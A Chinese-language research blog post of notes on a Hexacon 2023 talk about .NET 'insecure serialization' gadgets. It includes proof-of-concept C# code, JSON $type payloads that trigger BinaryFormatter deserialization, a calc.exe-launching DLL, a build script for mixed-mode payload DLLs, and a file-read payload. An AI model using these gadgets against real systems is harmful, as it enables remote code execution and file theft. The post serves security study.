dotnet Insecure Serialization
前言
https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf
这几天花了点时间认真学习了 @chudyPB 在 Hexacon 2023 分享的议题: Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization
PDF 一共有 124 页, 主要内容如下
- SolarWinds Platform 的多个反序列化漏洞以及黑名单绕过
- 多个第三方库的反序列化 Gadget
- Delta Electronics InfraSuite Device Master MessagePack 反序列化漏洞
- 引入 “不安全的序列化” (Insecure Serializaion) 这个攻击面, 分享了多个基于 .NET Framework 和第三方库的序列化 Gadget
- 多个基于. NET Framework 的任意 Getter 调用 Gadget, 然后将其与 “不安全的序列化” 结合, 形成多条新的反序列化 Gadget
- 多个基于 .NET >= 5 (.NET Core) 的反序列化 Gadget
本文简单记录一下关于 “不安全的序列化” (Insecure Serializaion) 这部分的内容
关于任意 Getter 调用以及新的反序列化 Gadget 这两个部分的内容会放在下一篇文章
攻击面
流程图
不安全的序列化的本质其实就是调用某个 getter, 而 getter 内部存在恶意操作
.NET 的大部分序列化器例如 Json.Net, 在反序列化时只会调用构造函数和 setter, 这一点与 Java 中的 FastJson 不同, FastJson 在某些场景下依然能够实现在反序列化时调用 getter (通过 JSONObject.toString 或 $ref
属性)
不安全的序列化这个概念我感觉更类似于 Ruilin 师傅前几年提出的 “Java 后反序列化漏洞”, 即漏洞本身并不是由反序列化时 readObject 的调用关系而产生, 而是在反序列化拿到对象后, 针对这个对象进行一些其它的操作, 例如 toString/finalize 或者其它方法, 在这些方法中存在一些调用关系, 导致恶意操作, 因此被称为 “后” 反序列化漏洞
http://rui0.cn/archives/1338
https://xz.aliyun.com/t/12459
.NET Framework
SettingsPropertyValue
序列化时触发 BinaryFormatter 反序列化
PropertyValue getter
Deserialize
判断 SerializedValue 的实际类型
- byte[]: 直接触发 BinaryFormatter 反序列化
- string: 调用 GetObjectFromString
GetObjectFromString 最终也会触发 BinaryFormatter 反序列化 (需要为上面的 Property 设置 SerializeAs 枚举)
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
using ConsoleApp.Gadget;
using Newtonsoft.Json;
using System.Configuration;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace ConsoleApp.InsecureSerialization
{
internal class SettingsPropertyValueDemo
{
public static void Main(string[] args)
{
TextFormattingRunPropertiesMarshal textFormattingRunProperties = new TextFormattingRunPropertiesMarshal("calc.exe");
byte[] data;
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(mem, textFormattingRunProperties);
data = mem.ToArray();
}
SettingsProperty property = new SettingsProperty("test");
SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(property);
settingsPropertyValue.Deserialized = false;
settingsPropertyValue.SerializedValue = data;
//Console.Write(settingsPropertyValue.PropertyValue);
JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All,
};
JsonConvert.SerializeObject(settingsPropertyValue, settings);
}
}
}
|
作者指出 SettingsPropertyValue 的构造方法可能不适用于 Json.Net 反序列化
报错
1
|
Newtonsoft.Json.JsonSerializationException: Unable to find a constructor to use for type System.Configuration.SettingsProperty. A class should either have a default constructor, one constructor with arguments or a constructor marked with the JsonConstructor attribute.
|
另外部分序列化器可能会先调用 Name getter, 导致抛出异常终止序列化过程
SecurityException
序列化时触发 BinaryFormatter 反序列化
Method getter
getMethod
ByteArrayToObject
m_serializedMethodInfo 字段放入 BinaryFormatter 反序列化 Gadget
这条序列化 Gadget 存在一些限制
需要组合两种不同类型的序列化器:
- 支持 Serializable 特性 (GetObjectData + 特殊反序列化构造函数)
- 不支持 Serializable 特性/在序列化时优先调用 getter
原因如下
部分序列化器在反序列化恢复字段时会调用 Method setter, 导致覆盖 m_serializedMethodInfo 的内容, 无法触发恶意 Gadget
因此需要某个不完全依赖于 setter 赋值的序列化器, 例如 BinaryFormatter/Json.Net, 都支持调用特殊的反序列化构造函数
其中 m_serializedMethodInfo 字段直接从 SerializationInfo 内取值, 绕过了 Method setter
另外后续序列化时所使用的序列化器应当直接调用 Method getter, 而不是 GetObjectData 方法
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
using ConsoleApp.Gadget;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using System.Security;
using System.Web.Script.Serialization;
namespace ConsoleApp.InsecureSerialization
{
internal class SecurityExceptionDemo
{
public static void Main(string[] args)
{
TextFormattingRunPropertiesMarshal textFormattingRunProperties = new TextFormattingRunPropertiesMarshal("calc.exe");
byte[] data;
using (MemoryStream mem = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(mem, textFormattingRunProperties);
data = mem.ToArray();
}
SecurityException securityException = new SecurityException();
typeof(SecurityException)
.GetField("m_serializedMethodInfo", BindingFlags.Instance | BindingFlags.NonPublic)
.SetValue(securityException, data);
//Console.Write(securityException.Method);
JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer();
javaScriptSerializer.Serialize(securityException);
}
}
}
|
CompilerResults
序列化时触发本地 DLL 加载 (Assembly.Load), 类似 AssemblyInstaller
PathToAssembly
CompiledAssembly getter
payload
1
2
3
4
5
|
{
"$type": "System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=6.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51",
"tempFiles": null,
"PathToAssembly": "C:\\Users\\Public\\mixedassembly.dll"
}
|
DLL 需要使用混合程序集 (Mixed Assembly), 参考: https://github.com/noperator/CVE-2019-18935
1
2
3
4
5
6
7
8
9
|
#include <windows.h>
#include <stdio.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
system("calc.exe");
return TRUE;
}
|
编译脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
:: Author: @noperator
:: Purpose: Compile a uniquely named mixed mode .NET assembly DLL as a payload
:: for exploiting CVE-2019-18935.
:: Notes: - You may need to adjust the VSPATH variable to point to the path
:: of your Visual Studio installation.
:: - Generates both 32- and 64-bit payloads if no CPU architecture is
:: specified as a second CLI argument.
:: - Writes payloads to the folder specified by the OUTDIR variable.
:: Usage: .\build-dll.bat <PAYLOAD> [<ARCH>]
:: .\build-dll.bat sleep.c
:: .\build-dll.bat reverse-shell.c x86
:: .\build-dll.bat sliver-stager.c amd64
@echo off
:: Point this to the path of your Visual Studio installation.
set VSPATH=C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build
:: Create directory for compiled payloads.
set OUTDIR=payloads
if not exist "%OUTDIR%" mkdir "%OUTDIR%"
:: Get payload name.
set PAYLOAD=%1
set BASENAME=%PAYLOAD:~0,-2%
:: Get CPU architecture. Generates both if none specified.
set ARCH=%2
if [%ARCH%]==[] set ARCH=x86 amd64
:: Create dummy C# file to consistute managed portion of mixed mode assembly.
echo class Empty {} > empty.cs
:: Compile payload. (set|end)local required to prevent a growing PATH variable
:: from multiple calls to vcvarsall.bat. Otherwise, multiple runs of this
:: script in the same CMD window will eventually fail with: "The input line is
:: too long. The syntax of the command is incorrect."
for %%a in (%ARCH%) do (
@echo on
echo.
echo [*] Set up %%a build environment...
setlocal
call "%VSPATH%\vcvarsall.bat" %%a
echo.
echo [*] Compile managed code, without generating an assembly...
csc /target:module empty.cs
echo [*] Compile unmanaged code, without linking...
cl /c %PAYLOAD%
echo.
echo [*] Link the compiled .netmodule and .obj files, creating a mixed mode .NET assembly DLL...
link /DLL /LTCG /CLRIMAGETYPE:IJW /out:%OUTDIR%\%BASENAME%-%%a.dll %BASENAME%.obj empty.netmodule
echo.
echo [*] Clean up build artifacts and tear down %%a build environment...
del %BASENAME%.obj empty.netmodule
endlocal
dir %OUTDIR%\%BASENAME%-%%a.dll
@echo off
)
|
注意自 .NET Framework 4 开始禁止通过 Assembly.Load 加载远程 DLL, 因此需要与写文件 Gadget 结合
第三方库
ActiveMQObjectMessage
位于 Apache NMS ActiveMQ
序列化时触发 Binary Formatter 反序列化, 兼容大多数基于 setter 的序列化器
Formatter 默认使用 BinaryFormatter
2.1.0 版本增加了 TrustedClassFilter (SerializationBinder), 需要指定 Connection.DeserializationPolicy
但是对于序列化 gadget 没有影响, 自己手动构造将 DeserializationPolicy 设置为 null 就行
< 2.1.0 版本
1
2
3
4
|
{
"$type": "Apache.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.0.1.0, Culture=neutral, PublicKeyToken=82756feee3957618",
"Content": "base64encoded-binaryformatter-gadget"
}
|
>= 2.1.0 版本
1
2
3
4
5
6
7
8
9
10
11
12
13
|
{
"$type": "Apache.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618",
"Content": "base64-encoded-binaryformatter-gadget",
"Connection": {
"connectionUri": "http://localhost",
"transport": {
"$type": "Apache.NMS.ActiveMQ.Transport.Failover.FailoverTransport, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618"
},
"clientIdGenerator": {
"$type": "Apache.NMS.ActiveMQ.Util.IdGenerator, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618"
}
}
}
|
OptimisticLockedTextFile
位于 Amazon AWSSDK.Core
反序列化时可以读取任意文件, 但是需要通过序列化来接收文件内容
Read
读取 FilePath 路径的文件内容, 然后将其保存在 OriginalContents 和 Lines 字段
payload
1
2
3
4
|
{
"$type": "Amazon.Runtime.Internal.Util.OptimisticLockedTextFile, AWSSDK.Core, Version=3.3.0.0, Culture=neutral, PublicKeyToken=885c28607f98e604",
"filePath": "C:\\Windows\\win.ini"
}
|
序列化时仅会读取 Lines 字段的内容
CustomUri
位于 Castle Core
反序列化时会调用 Environment.ExpandEnvironmentVariables 解析 resourceIdentifier 中的环境变量
同样需要通过序列化来接收数据
1
2
3
4
|
{
"$type": "Castle.Core.Resource.CustomUri, Castle.Core, Version=5.0.0.0, Culture=neutral, PublicKeyToken=407dd0808d44fbdc",
"resourceIdentifier": "C:\\test\\%PATHEXT%"
}
|
QueryPartitionProvider
位于 Microsoft Azure.Core
在反序列化时触发 Json.Net 序列化, 可以与上面的序列化 Gadget 相结合
利用流程
例如与 ActiveMQObjectMessage 结合
1
2
3
4
5
6
7
8
9
|
{
"$type": "Microsoft.Azure.Cosmos.Query.Core.QueryPlan.QueryPartitionProvider, Microsoft.Azure.Cosmos.Client, Version=3.32.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"queryengineConfiguration": {
"poc": {
"$type": "Apac he.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.0.1.0, Culture=neutral, PublicKeyToken=82756feee3957618",
"Content": "base64-encoded-binaryformatter-gadget"
}
}
}
|